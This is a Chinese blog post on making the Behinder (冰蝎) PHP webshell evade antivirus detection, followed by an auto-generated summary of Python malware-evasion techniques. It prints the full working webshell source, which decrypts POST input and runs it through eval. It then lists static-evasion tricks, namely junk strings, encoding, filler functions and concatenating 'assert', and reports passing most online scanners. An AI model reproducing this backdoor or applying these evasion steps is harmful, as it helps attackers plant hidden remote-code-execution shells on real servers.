冰蝎php马静态免杀

写在前面——本文章中无任何不良导向或诱导未成年人犯罪行为,仅做技术分享,请各位看官遵守中华人民共和国法律,并严格按照中华人民共和国网络安全法行事!请勿在公网环境中进行测试,如有需要请各位未来的大佬们自己搭建环境进行测试!

欢迎关注微信公众号“一己之见安全团队”!

图片

今天来做一期有关冰蝎子马子免杀的分享。

图片

冰蝎是一款很好用的webshell管理工具,流量加密和可高度自定义的各类木马使得它成为很多师傅们的心头爱,那么这期就来和大家探讨一下有关冰蝎php木马的静态免杀,目前设立的目标当然是尽可能多的过杀软的免杀嘛~(这里以冰蝎V4.1为例)

  • 冰蝎php木马解读

<?php

@error_reporting(0);

session_start();                   #开启ssssion

$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond

$_SESSION['k']=$key;             #把key存到session当中

session_write_close();

$post=file_get_contents("php://input");         #把传入的命令作为字符串读入post中

if(!extension_loaded('openssl'))        #根据路径判断是否有openssl服务

{

$t="base64_"."decode";          #不存在openssh服务则使用base64解码,这里还拼接了字符串来绕过检测

$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {

 $post[$i] = $post[$i]^$key[$i+1&15];

}

}

else       

{

$post=openssl_decrypt($post, "AES128", $key); #如果存在openssh服务则使用AES解密

}

$arr=explode('|',$post);  #以|符号来划分post里的字符串

$func=$arr[0];

$params=$arr[1];

class C{public function __invoke($p) {eval($p."");}}        #执行主体

@call_user_func(new C(),$params);

?>

以上大概就是马子的解读了,其实并不复杂,主要就是分为解密和执行两个部分。最好的免杀方式还是从加解密入手,二开冰鞋管理端去掉特征并修改加密方式,但考虑到这种方法并不适用于新手以及一些对代码不是太熟悉的师傅(其实就是鼠鼠我菜,没有把握改好还能用),

  • 免杀过程

这篇文章主要从以下几个方面入手去进行静态免杀:

1.大量字符串+字符串编码混淆

这个其实很简单,随便找几段话或者垃圾字符放在php执行代码之外不会影响代码执行,但杀软查杀时会把这部分读取进去,以此来尽可能浑水摸鱼过关。

2.主体代码部分全部转utf8编码再进行解码

亲测有效,目前杀软和绝大部分云查杀平台对base64较敏感但对utf-8较为友好,还是可以尝试的。

3.多余函数混淆

计算,排列,怎么弱智怎么来,只要不影响主体代码执行即可。

4.字符串拼接关键函数名再执行

主要是针对assert的,拼接成a.s.s.e.r.t,或者再加上一些倒叙读取字符串之类的也可。(注意,仅php7.1之前生效)

废话不多说上截图:

图片

这个马子之前我改过一次了,大概按照上述的方法又做了点,大差不差。

  • 测试连接

①经典phpstudy上线

图片

②手动挂马(滑稽黑客)

图片

③直接访问没有报错(下面的utf-8是我写在php<>之外的)

图片

④冰蝎上线,ok,no趴笨!

图片

上实战!

  • 在线查杀测试

本次选取的几个云查杀主要有vt、360沙箱云、阿里云、微步,大圣云沙箱。

先放上一张冰蝎php原马在vt上的情况做对照:

图片

免杀马查杀结果直接上截图:

①vt全过

图片

②360沙箱云(非专业版)未检测出

图片

③微步云沙箱,险胜!

图片

开始骄傲 我觉得自己又行了

图片

④大圣云沙箱

图片

Damn!刚说完就翻车了!但是也正常,只是做了基础的静态免杀而已,其实处理还是不够到位的,心态要端正,很不错了!

⑤阿里云沙箱webshell查杀

图片

到大马哥这虽然也是翻车,但是好歹知道原因了,果然是eval这里出了问题,但是前文也提到过了,如果是7.1以下的php可以用assert拼接绕过的,这里就请大家当作什么都没发生吧...理解万岁!

图片

其实还有小马哥的腾讯哈勃,但是那个不支持上传webshell,上传压缩包虽然行,但是如果压缩一遍了连冰蝎原马都查杀不出来,就当图一乐了,就不放出来了.....大部分云沙箱和在线查杀我都基本试过了,基本除了安恒云沙箱都能稳过(ah一生之敌),因为我的测试环境是php7.3往上了,没法用assert拼接执行,估计是检测到了eval执行字符串代码,所以静态检测没过,太丢脸就不放截图啦,师傅们可以按着自己的想法改改试试()

图片

  • 总结

静态免杀的大致思路还是混淆、编码等方向,也可以再套用一些自动化的免杀工具之类的,无非也就是多套一层垃圾代码和混淆,也是可以的,不过真在实战中实际应用起来还是免不了动态上的处理,隐藏特征、改写流量、深度二开等,但这又是后话了,今天又是很安全的一天呢。

诚邀您关注一己之见安全团队公众号!我们会不定期发布网络安全技术分享和学习笔记,您的关注就是给予我们最大的动力,期待与您的相遇!

  • 21
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
Python免杀是指在编写Python恶意代码时,通过一系列技术手段绕过杀毒软件的检测和阻止。在进行Python免杀时,可以采取多种常用的静态免杀技术,如特征码定位修改、填充花指令、文件加壳、内存执行、shellcode混淆、shellcode和loader分离、木资源修改和调用系统白名单等。这些技术可以帮助我们在编写Python恶意代码时避免被杀毒软件检测到。 其中,特征码定位修改是指通过修改代码中的特征码或者特征码的位置,使得杀毒软件无法识别恶意代码。填充花指令是在代码中插入一些无实际功能的指令,以混淆代码结构,增加杀毒软件的分析难度。文件加壳是将恶意代码嵌入到其他可信的文件中,以绕过杀毒软件的检测。内存执行是将恶意代码直接加载到内存中执行,避免了被杀毒软件静态检测的可能。shellcode混淆是通过对shellcode进行变形或加密,使其难以被杀毒软件识别。shellcode和loader分离是将shellcode和加载器分离,使得杀毒软件难以检测到完整的恶意代码。木资源修改是通过修改恶意代码所依赖的资源文件或者库文件,绕过杀毒软件的检测。调用系统白名单是指利用操作系统的合法功能或者系统自带的程序来执行恶意代码,使其被认为是正常行为而不被杀毒软件拦截。 需要注意的是,不同语言的shellcode和loader在免杀效果上有所差异,而Python在免杀中的效果相对较好。此外,选择小众语言和不同的exe打包器也可以提高免杀效果。同时,在编写Python恶意代码时,尽量避免使用敏感词汇,以降低被杀毒软件查杀的概率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值